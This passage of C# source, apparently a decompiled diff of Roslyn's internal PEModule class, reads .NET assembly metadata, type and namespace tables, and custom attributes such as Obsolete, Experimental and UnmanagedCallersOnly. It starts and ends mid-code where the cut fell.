Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class PEModule : IDisposable +{ + private delegate bool AttributeValueExtractor(out T value, ref BlobReader sigReader); + + internal readonly struct BoolAndStringArrayData(bool sense, ImmutableArray strings) + { + public readonly bool Sense = sense; + + public readonly ImmutableArray Strings = strings; + } + + internal readonly struct BoolAndStringData(bool sense, string? @string) + { + public readonly bool Sense = sense; + + public readonly string? String = @string; + } + + private sealed class PEHashProvider : CryptographicHashProvider + { + private readonly PEReader _peReader; + + public PEHashProvider(PEReader peReader) + { + _peReader = peReader; + } + + internal unsafe override ImmutableArray ComputeHash(HashAlgorithm algorithm) + { + PEMemoryBlock entireImage = _peReader.GetEntireImage(); + byte[] items; + using (ReadOnlyUnmanagedMemoryStream inputStream = new ReadOnlyUnmanagedMemoryStream(_peReader, (IntPtr)entireImage.Pointer, entireImage.Length)) + { + items = algorithm.ComputeHash(inputStream); + } + return ImmutableArray.Create(items); + } + } + + private readonly struct TypeDefToNamespace + { + internal readonly TypeDefinitionHandle TypeDef; + + internal readonly NamespaceDefinitionHandle NamespaceHandle; + + internal TypeDefToNamespace(TypeDefinitionHandle typeDef, NamespaceDefinitionHandle namespaceHandle) + { + TypeDef = typeDef; + NamespaceHandle = namespaceHandle; + } + } + + internal class TypesByNamespaceSortComparer : IComparer> + { + private readonly StringComparer _nameComparer; + + public TypesByNamespaceSortComparer(StringComparer nameComparer) + { + _nameComparer = nameComparer; + } + + public int Compare(IGrouping left, IGrouping right) + { + if (left == right) + { + return 0; + } + int num = _nameComparer.Compare(left.Key, right.Key); + if (num == 0) + { + TypeDefinitionHandle typeDefinitionHandle = left.FirstOrDefault(); + TypeDefinitionHandle typeDefinitionHandle2 = right.FirstOrDefault(); + num = ((!(typeDefinitionHandle.IsNil ^ typeDefinitionHandle2.IsNil)) ? HandleComparer.Default.Compare(typeDefinitionHandle, typeDefinitionHandle2) : (typeDefinitionHandle.IsNil ? 1 : (-1))); + if (num == 0) + { + num = string.CompareOrdinal(left.Key, right.Key); + } + } + return num; + } + } + + private class NamespaceHandleEqualityComparer : IEqualityComparer + { + public static readonly NamespaceHandleEqualityComparer Singleton = new NamespaceHandleEqualityComparer(); + + private NamespaceHandleEqualityComparer() + { + } + + public bool Equals(NamespaceDefinitionHandle x, NamespaceDefinitionHandle y) + { + return x == y; + } + + public int GetHashCode(NamespaceDefinitionHandle obj) + { + return obj.GetHashCode(); + } + } + + private struct StringAndInt + { + public string? StringValue; + + public int IntValue; + } + + internal readonly struct AttributeInfo(CustomAttributeHandle handle, int signatureIndex) + { + public readonly CustomAttributeHandle Handle = handle; + + public readonly byte SignatureIndex = (byte)signatureIndex; + + public bool HasValue => !Handle.IsNil; + } + + private sealed class StringTableDecoder : MetadataStringDecoder + { + public static readonly StringTableDecoder Instance = new StringTableDecoder(); + + private StringTableDecoder() + : base(System.Text.Encoding.UTF8) + { + } + + public unsafe override string GetString(byte* bytes, int byteCount) + { + return StringTable.AddSharedUtf8(new ReadOnlySpan(bytes, byteCount)); + } + } + + private readonly ModuleMetadata _owner; + + private readonly PEReader _peReaderOpt; + + private readonly IntPtr _metadataPointerOpt; + + private readonly int _metadataSizeOpt; + + private MetadataReader _lazyMetadataReader; + + private ImmutableArray _lazyAssemblyReferences; + + private static readonly Dictionary s_sharedEmptyForwardedTypes = new Dictionary(); + + private static readonly Dictionary s_sharedEmptyCaseInsensitiveForwardedTypes = new Dictionary(); + + private Dictionary _lazyForwardedTypesToAssemblyIndexMap; + + private Dictionary _lazyCaseInsensitiveForwardedTypesToAssemblyIndexMap; + + private readonly Lazy _lazyTypeNameCollection; + + private readonly Lazy _lazyNamespaceNameCollection; + + private string _lazyName; + + private bool _isDisposed; + + private ThreeState _lazyContainsNoPiaLocalTypes; + + private int[] _lazyNoPiaLocalTypeCheckBitMap; + + private ConcurrentDictionary _lazyTypeDefToTypeIdentifierMap; + + private readonly CryptographicHashProvider _hashesOpt; + + private static readonly AttributeValueExtractor s_attributeStringValueExtractor = CrackStringInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeStringAndIntValueExtractor = CrackStringAndIntInAttributeValue; + + private static readonly AttributeValueExtractor<(string?, string?)> s_attributeStringAndStringValueExtractor = CrackStringAndStringInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeBooleanValueExtractor = CrackBooleanInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeByteValueExtractor = CrackByteInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeShortValueExtractor = CrackShortInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeIntValueExtractor = CrackIntInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeLongValueExtractor = CrackLongInAttributeValue; + + private static readonly AttributeValueExtractor s_decimalValueInDecimalConstantAttributeExtractor = CrackDecimalInDecimalConstantAttribute; + + private static readonly AttributeValueExtractor> s_attributeBoolArrayValueExtractor = CrackBoolArrayInAttributeValue; + + private static readonly AttributeValueExtractor> s_attributeByteArrayValueExtractor = CrackByteArrayInAttributeValue; + + private static readonly AttributeValueExtractor> s_attributeStringArrayValueExtractor = CrackStringArrayInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeDeprecatedDataExtractor = CrackDeprecatedAttributeData; + + private static readonly AttributeValueExtractor s_attributeBoolAndStringArrayValueExtractor = CrackBoolAndStringArrayInAttributeValue; + + private static readonly AttributeValueExtractor s_attributeBoolAndStringValueExtractor = CrackBoolAndStringInAttributeValue; + + private static readonly ImmutableArray s_simpleTransformFlags = ImmutableArray.Create(item: true); + + internal const string ByRefLikeMarker = "Types with embedded references are not supported in this version of your compiler."; + + internal const string RequiredMembersMarker = "Constructors of types with required members are not supported in this version of your compiler."; + + internal bool IsDisposed => _isDisposed; + + internal PEReader PEReaderOpt => _peReaderOpt; + + internal MetadataReader MetadataReader + { + get + { + if (_lazyMetadataReader == null) + { + InitializeMetadataReader(); + } + if (_isDisposed) + { + ThrowMetadataDisposed(); + } + return _lazyMetadataReader; + } + } + + internal bool IsManifestModule => MetadataReader.IsAssembly; + + internal bool IsLinkedModule => !MetadataReader.IsAssembly; + + internal bool IsCOFFOnly + { + get + { + if (_peReaderOpt == null) + { + return false; + } + return _peReaderOpt.PEHeaders.IsCoffOnly; + } + } + + internal Machine Machine + { + get + { + if (_peReaderOpt == null) + { + return Machine.I386; + } + return _peReaderOpt.PEHeaders.CoffHeader.Machine; + } + } + + internal bool Bit32Required + { + get + { + if (_peReaderOpt == null) + { + return false; + } + return (_peReaderOpt.PEHeaders.CorHeader.Flags & CorFlags.Requires32Bit) != 0; + } + } + + internal string Name + { + get + { + if (_lazyName == null) + { + _lazyName = MetadataReader.GetString(MetadataReader.GetModuleDefinition().Name); + } + return _lazyName; + } + } + + public ImmutableArray ReferencedAssemblies + { + get + { + if (_lazyAssemblyReferences == null) + { + _lazyAssemblyReferences = MetadataReader.GetReferencedAssembliesOrThrow(); + } + return _lazyAssemblyReferences; + } + } + + internal string MetadataVersion => MetadataReader.MetadataVersion; + + internal IdentifierCollection TypeNames => _lazyTypeNameCollection.Value; + + internal IdentifierCollection NamespaceNames => _lazyNamespaceNameCollection.Value; + + internal bool HasIL => IsEntireImageAvailable; + + internal bool IsEntireImageAvailable + { + get + { + if (_peReaderOpt != null) + { + return _peReaderOpt.IsEntireImageAvailable; + } + return false; + } + } + + internal PEModule(ModuleMetadata owner, PEReader peReader, IntPtr metadataOpt, int metadataSizeOpt, bool includeEmbeddedInteropTypes, bool ignoreAssemblyRefs) + { + _owner = owner; + _peReaderOpt = peReader; + _metadataPointerOpt = metadataOpt; + _metadataSizeOpt = metadataSizeOpt; + _lazyTypeNameCollection = new Lazy(ComputeTypeNameCollection); + _lazyNamespaceNameCollection = new Lazy(ComputeNamespaceNameCollection); + _hashesOpt = ((peReader != null) ? new PEHashProvider(peReader) : null); + _lazyContainsNoPiaLocalTypes = (includeEmbeddedInteropTypes ? ThreeState.False : ThreeState.Unknown); + if (ignoreAssemblyRefs) + { + _lazyAssemblyReferences = ImmutableArray.Empty; + } + } + + public void Dispose() + { + _isDisposed = true; + _peReaderOpt?.Dispose(); + } + + private unsafe void InitializeMetadataReader() + { + MetadataReader value; + if (_metadataPointerOpt != IntPtr.Zero) + { + value = new MetadataReader((byte*)(void*)_metadataPointerOpt, _metadataSizeOpt, MetadataReaderOptions.Default, StringTableDecoder.Instance); + } + else + { + bool flag; + try + { + flag = _peReaderOpt.HasMetadata; + } + catch + { + flag = false; + } + if (!flag) + { + throw new BadImageFormatException(CodeAnalysisResources.PEImageDoesntContainManagedMetadata); + } + value = _peReaderOpt.GetMetadataReader(MetadataReaderOptions.Default, StringTableDecoder.Instance); + } + Interlocked.CompareExchange(ref _lazyMetadataReader, value, null); + } + + private static void ThrowMetadataDisposed() + { + throw new ObjectDisposedException("ModuleMetadata"); + } + + internal ImmutableArray GetHash(AssemblyHashAlgorithm algorithmId) + { + return _hashesOpt.GetHash(algorithmId); + } + + internal Guid GetModuleVersionIdOrThrow() + { + return MetadataReader.GetModuleVersionIdOrThrow(); + } + + internal ImmutableArray GetMetadataModuleNamesOrThrow() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + foreach (AssemblyFileHandle assemblyFile2 in MetadataReader.AssemblyFiles) + { + AssemblyFile assemblyFile = MetadataReader.GetAssemblyFile(assemblyFile2); + if (assemblyFile.ContainsMetadata) + { + string text = MetadataReader.GetString(assemblyFile.Name); + if (!MetadataHelpers.IsValidMetadataFileName(text)) + { + throw new BadImageFormatException(string.Format(CodeAnalysisResources.InvalidModuleName, Name, text)); + } + instance.Add(text); + } + } + return instance.ToImmutable(); + } + finally + { + instance.Free(); + } + } + + internal IEnumerable GetReferencedManagedModulesOrThrow() + { + HashSet hashSet = new HashSet(); + foreach (TypeReferenceHandle typeReference in MetadataReader.TypeReferences) + { + EntityHandle resolutionScope = MetadataReader.GetTypeReference(typeReference).ResolutionScope; + if (resolutionScope.Kind == HandleKind.ModuleReference) + { + hashSet.Add(resolutionScope); + } + } + foreach (EntityHandle item in hashSet) + { + yield return GetModuleRefNameOrThrow((ModuleReferenceHandle)item); + } + } + + internal ImmutableArray GetEmbeddedResourcesOrThrow() + { + if (MetadataReader.ManifestResources.Count == 0) + { + return ImmutableArray.Empty; + } + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + foreach (ManifestResourceHandle manifestResource2 in MetadataReader.ManifestResources) + { + ManifestResource manifestResource = MetadataReader.GetManifestResource(manifestResource2); + if (manifestResource.Implementation.IsNil) + { + string name = MetadataReader.GetString(manifestResource.Name); + builder.Add(new EmbeddedResource((uint)manifestResource.Offset, manifestResource.Attributes, name)); + } + } + return builder.ToImmutable(); + } + + public string GetModuleRefNameOrThrow(ModuleReferenceHandle moduleRef) + { + return MetadataReader.GetString(MetadataReader.GetModuleReference(moduleRef).Name); + } + + internal BlobReader GetMemoryReaderOrThrow(BlobHandle blob) + { + return MetadataReader.GetBlobReader(blob); + } + + internal string GetFullNameOrThrow(StringHandle namespaceHandle, StringHandle nameHandle) + { + string name = MetadataReader.GetString(nameHandle); + return MetadataHelpers.BuildQualifiedName(MetadataReader.GetString(namespaceHandle), name); + } + + internal AssemblyIdentity ReadAssemblyIdentityOrThrow() + { + return MetadataReader.ReadAssemblyIdentityOrThrow(); + } + + public TypeDefinitionHandle GetContainingTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetDeclaringType(); + } + + public string GetTypeDefNameOrThrow(TypeDefinitionHandle typeDef) + { + TypeDefinition typeDefinition = MetadataReader.GetTypeDefinition(typeDef); + string text = MetadataReader.GetString(typeDefinition.Name); + if (IsNestedTypeDefOrThrow(typeDef)) + { + string text2 = MetadataReader.GetString(typeDefinition.Namespace); + if (text2.Length > 0) + { + text = text2 + "." + text; + } + } + return text; + } + + public string GetTypeDefNamespaceOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetString(MetadataReader.GetTypeDefinition(typeDef).Namespace); + } + + public EntityHandle GetTypeDefExtendsOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).BaseType; + } + + public TypeAttributes GetTypeDefFlagsOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).Attributes; + } + + public GenericParameterHandleCollection GetTypeDefGenericParamsOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetGenericParameters(); + } + + public bool HasGenericParametersOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetGenericParameters().Count > 0; + } + + public void GetTypeDefPropsOrThrow(TypeDefinitionHandle typeDef, out string name, out string @namespace, out TypeAttributes flags, out EntityHandle extends) + { + TypeDefinition typeDefinition = MetadataReader.GetTypeDefinition(typeDef); + name = MetadataReader.GetString(typeDefinition.Name); + @namespace = MetadataReader.GetString(typeDefinition.Namespace); + flags = typeDefinition.Attributes; + extends = typeDefinition.BaseType; + } + + internal bool IsNestedTypeDefOrThrow(TypeDefinitionHandle typeDef) + { + return IsNestedTypeDefOrThrow(MetadataReader, typeDef); + } + + private static bool IsNestedTypeDefOrThrow(MetadataReader metadataReader, TypeDefinitionHandle typeDef) + { + return IsNested(metadataReader.GetTypeDefinition(typeDef).Attributes); + } + + internal bool IsInterfaceOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).Attributes.IsInterface(); + } + + private IEnumerable GetTypeDefsOrThrow(bool topLevelOnly) + { + foreach (TypeDefinitionHandle typeDefinition2 in MetadataReader.TypeDefinitions) + { + TypeDefinition typeDefinition = MetadataReader.GetTypeDefinition(typeDefinition2); + if (!topLevelOnly || !IsNested(typeDefinition.Attributes)) + { + yield return new TypeDefToNamespace(typeDefinition2, typeDefinition.NamespaceDefinition); + } + } + } + + internal IEnumerable> GroupTypesByNamespaceOrThrow(StringComparer nameComparer) + { + Dictionary> dictionary = new Dictionary>(); + GetTypeNamespaceNamesOrThrow(dictionary); + GetForwardedTypeNamespaceNamesOrThrow(dictionary); + ArrayBuilder> arrayBuilder = new ArrayBuilder>(dictionary.Count); + foreach (KeyValuePair> item in dictionary) + { + string key = item.Key; + IEnumerable value = item.Value; + arrayBuilder.Add(new Grouping(key, value ?? SpecializedCollections.EmptyEnumerable())); + } + arrayBuilder.Sort(new TypesByNamespaceSortComparer(nameComparer)); + return arrayBuilder; + } + + private void GetTypeNamespaceNamesOrThrow(Dictionary> namespaces) + { + Dictionary> dictionary = new Dictionary>(NamespaceHandleEqualityComparer.Singleton); + foreach (TypeDefToNamespace item in GetTypeDefsOrThrow(topLevelOnly: true)) + { + NamespaceDefinitionHandle namespaceHandle = item.NamespaceHandle; + TypeDefinitionHandle typeDef = item.TypeDef; + if (dictionary.TryGetValue(namespaceHandle, out var value)) + { + value.Add(typeDef); + continue; + } + dictionary.Add(namespaceHandle, new ArrayBuilder { typeDef }); + } + foreach (KeyValuePair> item2 in dictionary) + { + string key = MetadataReader.GetString(item2.Key); + if (namespaces.TryGetValue(key, out var value2)) + { + value2.AddRange(item2.Value); + } + else + { + namespaces.Add(key, item2.Value); + } + } + } + + private void GetForwardedTypeNamespaceNamesOrThrow(Dictionary> namespaces) + { + EnsureForwardTypeToAssemblyMap(); + foreach (string key2 in _lazyForwardedTypesToAssemblyIndexMap.Keys) + { + int num = key2.LastIndexOf('.'); + string key = ((num >= 0) ? key2.Substring(0, num) : ""); + if (!namespaces.ContainsKey(key)) + { + namespaces.Add(key, null); + } + } + } + + private IdentifierCollection ComputeTypeNameCollection() + { + try + { + return new IdentifierCollection(from typeDef in GetTypeDefsOrThrow(topLevelOnly: false) + let metadataName = GetTypeDefNameOrThrow(typeDef.TypeDef) + let backtickIndex = metadataName.IndexOf('`') + select (backtickIndex >= 0) ? metadataName.Substring(0, backtickIndex) : metadataName); + } + catch (BadImageFormatException) + { + return new IdentifierCollection(); + } + } + + private IdentifierCollection ComputeNamespaceNameCollection() + { + try + { + return new IdentifierCollection(from fullName in (from id in GetTypeDefsOrThrow(topLevelOnly: true).Where(delegate(TypeDefToNamespace id) + { + TypeDefToNamespace typeDefToNamespace = id; + return !typeDefToNamespace.NamespaceHandle.IsNil; + }) + select MetadataReader.GetString(id.NamespaceHandle)).Distinct() + from name in fullName.Split(new char[1] { '.' }, StringSplitOptions.RemoveEmptyEntries) + select name); + } + catch (BadImageFormatException) + { + return new IdentifierCollection(); + } + } + + internal ImmutableArray GetNestedTypeDefsOrThrow(TypeDefinitionHandle container) + { + return MetadataReader.GetTypeDefinition(container).GetNestedTypes(); + } + + internal MethodImplementationHandleCollection GetMethodImplementationsOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetMethodImplementations(); + } + + internal InterfaceImplementationHandleCollection GetInterfaceImplementationsOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetInterfaceImplementations(); + } + + internal MethodDefinitionHandleCollection GetMethodsOfTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetMethods(); + } + + internal PropertyDefinitionHandleCollection GetPropertiesOfTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetProperties(); + } + + internal EventDefinitionHandleCollection GetEventsOfTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetEvents(); + } + + internal FieldDefinitionHandleCollection GetFieldsOfTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).GetFields(); + } + + internal EntityHandle GetBaseTypeOfTypeOrThrow(TypeDefinitionHandle typeDef) + { + return MetadataReader.GetTypeDefinition(typeDef).BaseType; + } + + internal TypeLayout GetTypeLayout(TypeDefinitionHandle typeDef) + { + try + { + TypeDefinition typeDefinition = MetadataReader.GetTypeDefinition(typeDef); + LayoutKind kind; + switch (typeDefinition.Attributes & TypeAttributes.LayoutMask) + { + case TypeAttributes.SequentialLayout: + kind = LayoutKind.Sequential; + break; + case TypeAttributes.ExplicitLayout: + kind = LayoutKind.Explicit; + break; + case TypeAttributes.NotPublic: + return default(TypeLayout); + default: + return default(TypeLayout); + } + System.Reflection.Metadata.TypeLayout layout = typeDefinition.GetLayout(); + int num = layout.Size; + int num2 = layout.PackingSize; + if (num2 > 255) + { + num2 = 0; + } + if (num < 0) + { + num = 0; + } + return new TypeLayout(kind, num, (byte)num2); + } + catch (BadImageFormatException) + { + return default(TypeLayout); + } + } + + internal bool IsNoPiaLocalType(TypeDefinitionHandle typeDef) + { + AttributeInfo attributeInfo; + return IsNoPiaLocalType(typeDef, out attributeInfo); + } + + internal bool HasParamsAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.ParamArrayAttribute).HasValue; + } + + internal bool HasIsReadOnlyAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.IsReadOnlyAttribute).HasValue; + } + + internal bool HasDoesNotReturnAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.DoesNotReturnAttribute).HasValue; + } + + internal bool HasIsUnmanagedAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.IsUnmanagedAttribute).HasValue; + } + + internal bool HasExtensionAttribute(EntityHandle token, bool ignoreCase) + { + return FindTargetAttribute(token, ignoreCase ? AttributeDescription.CaseInsensitiveExtensionAttribute : AttributeDescription.CaseSensitiveExtensionAttribute).HasValue; + } + + internal bool HasVisualBasicEmbeddedAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.VisualBasicEmbeddedAttribute).HasValue; + } + + internal bool HasCodeAnalysisEmbeddedAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.CodeAnalysisEmbeddedAttribute).HasValue; + } + + internal bool HasInterpolatedStringHandlerAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.InterpolatedStringHandlerAttribute).HasValue; + } + + internal bool HasDefaultMemberAttribute(EntityHandle token, out string memberName) + { + return HasStringValuedAttribute(token, AttributeDescription.DefaultMemberAttribute, out memberName); + } + + internal bool HasGuidAttribute(EntityHandle token, out string guidValue) + { + return HasStringValuedAttribute(token, AttributeDescription.GuidAttribute, out guidValue); + } + + internal bool HasFixedBufferAttribute(EntityHandle token, out string elementTypeName, out int bufferSize) + { + return HasStringAndIntValuedAttribute(token, AttributeDescription.FixedBufferAttribute, out elementTypeName, out bufferSize); + } + + internal bool HasAccessedThroughPropertyAttribute(EntityHandle token, out string propertyName) + { + return HasStringValuedAttribute(token, AttributeDescription.AccessedThroughPropertyAttribute, out propertyName); + } + + internal bool HasRequiredAttributeAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.RequiredAttributeAttribute).HasValue; + } + + internal bool HasCollectionBuilderAttribute(EntityHandle token, out string builderTypeName, out string methodName) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.CollectionBuilderAttribute); + if (attributeInfo.HasValue) + { + return TryExtractStringAndStringValueFromAttribute(attributeInfo.Handle, out builderTypeName, out methodName); + } + builderTypeName = null; + methodName = null; + return false; + } + + internal bool HasAttribute(EntityHandle token, AttributeDescription description) + { + return FindTargetAttribute(token, description).HasValue; + } + + internal CustomAttributeHandle GetAttributeHandle(EntityHandle token, AttributeDescription description) + { + return FindTargetAttribute(token, description).Handle; + } + + internal bool HasDynamicAttribute(EntityHandle token, out ImmutableArray transformFlags) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.DynamicAttribute); + if (!attributeInfo.HasValue) + { + transformFlags = default(ImmutableArray); + return false; + } + if (attributeInfo.SignatureIndex == 0) + { + transformFlags = s_simpleTransformFlags; + return true; + } + return TryExtractBoolArrayValueFromAttribute(attributeInfo.Handle, out transformFlags); + } + + internal bool HasNativeIntegerAttribute(EntityHandle token, out ImmutableArray transformFlags) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.NativeIntegerAttribute); + if (!attributeInfo.HasValue) + { + transformFlags = default(ImmutableArray); + return false; + } + if (attributeInfo.SignatureIndex == 0) + { + transformFlags = s_simpleTransformFlags; + return true; + } + return TryExtractBoolArrayValueFromAttribute(attributeInfo.Handle, out transformFlags); + } + + internal bool HasScopedRefAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.ScopedRefAttribute).HasValue; + } + + internal bool HasUnscopedRefAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.UnscopedRefAttribute).HasValue; + } + + internal bool HasRefSafetyRulesAttribute(EntityHandle token, out int version, out bool foundAttributeType) + { + AttributeInfo attributeInfo = FindTargetAttribute(MetadataReader, token, AttributeDescription.RefSafetyRulesAttribute, out foundAttributeType); + if (attributeInfo.HasValue && TryExtractValueFromAttribute(attributeInfo.Handle, out var value, s_attributeIntValueExtractor)) + { + version = value; + return true; + } + version = 0; + return false; + } + + internal bool HasInlineArrayAttribute(TypeDefinitionHandle token, out int length) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.InlineArrayAttribute); + if (attributeInfo.HasValue && TryExtractValueFromAttribute(attributeInfo.Handle, out var value, s_attributeIntValueExtractor)) + { + length = value; + return true; + } + length = 0; + return false; + } + + internal bool HasTupleElementNamesAttribute(EntityHandle token, out ImmutableArray tupleElementNames) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.TupleElementNamesAttribute); + if (!attributeInfo.HasValue) + { + tupleElementNames = default(ImmutableArray); + return false; + } + return TryExtractStringArrayValueFromAttribute(attributeInfo.Handle, out tupleElementNames); + } + + internal bool HasIsByRefLikeAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.IsByRefLikeAttribute).HasValue; + } + + internal bool HasRequiresLocationAttribute(EntityHandle token) + { + return FindTargetAttribute(token, AttributeDescription.RequiresLocationAttribute).HasValue; + } + + internal ObsoleteAttributeData TryGetDeprecatedOrExperimentalOrObsoleteAttribute(EntityHandle token, IAttributeNamedArgumentDecoder decoder, bool ignoreByRefLikeMarker, bool ignoreRequiredMemberMarker) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.DeprecatedAttribute); + if (attributeInfo.HasValue) + { + return TryExtractDeprecatedDataFromAttribute(attributeInfo); + } + attributeInfo = FindTargetAttribute(token, AttributeDescription.ObsoleteAttribute); + if (attributeInfo.HasValue) + { + ObsoleteAttributeData obsoleteAttributeData = TryExtractObsoleteDataFromAttribute(attributeInfo, decoder); + string text = obsoleteAttributeData?.Message; + if (!(text == "Types with embedded references are not supported in this version of your compiler.")) + { + if (text == "Constructors of types with required members are not supported in this version of your compiler." && ignoreRequiredMemberMarker) + { + return null; + } + } + else if (ignoreByRefLikeMarker) + { + return null; + } + return obsoleteAttributeData; + } + attributeInfo = FindTargetAttribute(token, AttributeDescription.WindowsExperimentalAttribute); + if (attributeInfo.HasValue) + { + return TryExtractWindowsExperimentalDataFromAttribute(attributeInfo); + } + attributeInfo = FindTargetAttribute(token, AttributeDescription.ExperimentalAttribute); + if (attributeInfo.HasValue) + { + return TryExtractExperimentalDataFromAttribute(attributeInfo, decoder); + } + return null; + } + + private ObsoleteAttributeData? TryExtractExperimentalDataFromAttribute(AttributeInfo attributeInfo, IAttributeNamedArgumentDecoder decoder) + { + if (!TryGetAttributeReader(attributeInfo.Handle, out var blobReader)) + { + return null; + } + if (attributeInfo.SignatureIndex != 0) + { + throw ExceptionUtilities.UnexpectedValue(attributeInfo.SignatureIndex); + } + if (blobReader.RemainingBytes <= 0 || !CrackStringInAttributeValue(out string value, ref blobReader)) + { + return null; + } + if (string.IsNullOrWhiteSpace(value)) + { + value = null; + } + string urlFormat = crackUrlFormat(decoder, ref blobReader); + return new ObsoleteAttributeData(ObsoleteAttributeKind.Experimental, null, isError: false, value, urlFormat); + static string? crackUrlFormat(IAttributeNamedArgumentDecoder attributeNamedArgumentDecoder, ref BlobReader sig) + { + if (sig.RemainingBytes <= 0) + { + return null; + } + string text = null; + try + { + ushort num = sig.ReadUInt16(); + for (int i = 0; i < num; i++) + { + if (text != null) + { + break; + } + (KeyValuePair nameValuePair, bool isProperty, SerializationTypeCode typeCode, SerializationTypeCode elementTypeCode) tuple = attributeNamedArgumentDecoder.DecodeCustomAttributeNamedArgumentOrThrow(ref sig); + KeyValuePairUtil.Deconstruct(tuple.nameValuePair, out var key, out var value2); + string text2 = key; + TypedConstant typedConstant = value2; + bool item = tuple.isProperty; + if (tuple.typeCode == SerializationTypeCode.String && item && typedConstant.ValueInternal is string text3 && text == null && text2 == "UrlFormat") + { + text = text3; + } + } + } + catch (BadImageFormatException) + { + } + catch (UnsupportedSignatureContent) + { + } + return text; + } + } + + internal string? GetFirstUnsupportedCompilerFeatureFromToken(EntityHandle token, IAttributeNamedArgumentDecoder attributeNamedArgumentDecoder, CompilerFeatureRequiredFeatures allowedFeatures) + { + List list = FindTargetAttributes(token, AttributeDescription.CompilerFeatureRequiredAttribute); + if (list == null) + { + return null; + } + foreach (AttributeInfo item in list) + { + if (!item.HasValue || !TryGetAttributeReader(item.Handle, out var argReader) || !CrackStringInAttributeValue(out string value, ref argReader)) + { + continue; + } + bool flag = false; + if (argReader.RemainingBytes >= 2) + { + try + { + ushort num = argReader.ReadUInt16(); + for (uint num2 = 0u; num2 < num; num2++) + { + (KeyValuePair, bool, SerializationTypeCode, SerializationTypeCode) tuple = attributeNamedArgumentDecoder.DecodeCustomAttributeNamedArgumentOrThrow(ref argReader); + var (keyValuePair, _, _, _) = tuple; + if (keyValuePair.Key == "IsOptional" && tuple.Item2 && tuple.Item3 == SerializationTypeCode.Boolean) + { + flag = (bool)tuple.Item1.Value.ValueInternal; + break; + } + } + } + catch (Exception ex) when (((ex is UnsupportedSignatureContent || ex is BadImageFormatException) ? 1 : 0) != 0) + { + } + } + if (!flag && (allowedFeatures & getFeatureKind(value)) == 0) + { + return value; + } + } + return null; + static CompilerFeatureRequiredFeatures getFeatureKind(string? feature) + { + if (feature == "RefStructs") + { + return CompilerFeatureRequiredFeatures.RefStructs; + } + if (feature == "RequiredMembers") + { + return CompilerFeatureRequiredFeatures.RequiredMembers; + } + return CompilerFeatureRequiredFeatures.None; + } + } + + internal UnmanagedCallersOnlyAttributeData? TryGetUnmanagedCallersOnlyAttribute(EntityHandle token, IAttributeNamedArgumentDecoder attributeArgumentDecoder, Func? CallConvs)> unmanagedCallersOnlyDecoder) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.UnmanagedCallersOnlyAttribute); + if (!attributeInfo.HasValue || attributeInfo.SignatureIndex != 0 || !TryGetAttributeReader(attributeInfo.Handle, out var argReader)) + { + return null; + } + ImmutableHashSet callingConventionTypes = ImmutableHashSet.Empty; + if (argReader.RemainingBytes > 0) + { + try + { + ushort num = argReader.ReadUInt16(); + for (int i = 0; i < num; i++) + { + (KeyValuePair nameValuePair, bool isProperty, SerializationTypeCode typeCode, SerializationTypeCode elementTypeCode) tuple = attributeArgumentDecoder.DecodeCustomAttributeNamedArgumentOrThrow(ref argReader); + KeyValuePairUtil.Deconstruct(tuple.nameValuePair, out var key, out var value); + string arg = key; + TypedConstant arg2 = value; + bool item = tuple.isProperty; + SerializationTypeCode item2 = tuple.typeCode; + SerializationTypeCode item3 = tuple.elementTypeCode; + if (item2 == SerializationTypeCode.SZArray && item3 == SerializationTypeCode.Type) + { + (bool, ImmutableHashSet) tuple2 = unmanagedCallersOnlyDecoder(arg, arg2, !item); + if (tuple2.Item1) + { + callingConventionTypes = tuple2.Item2; + break; + } + } + } + } + catch (Exception ex) when (((ex is 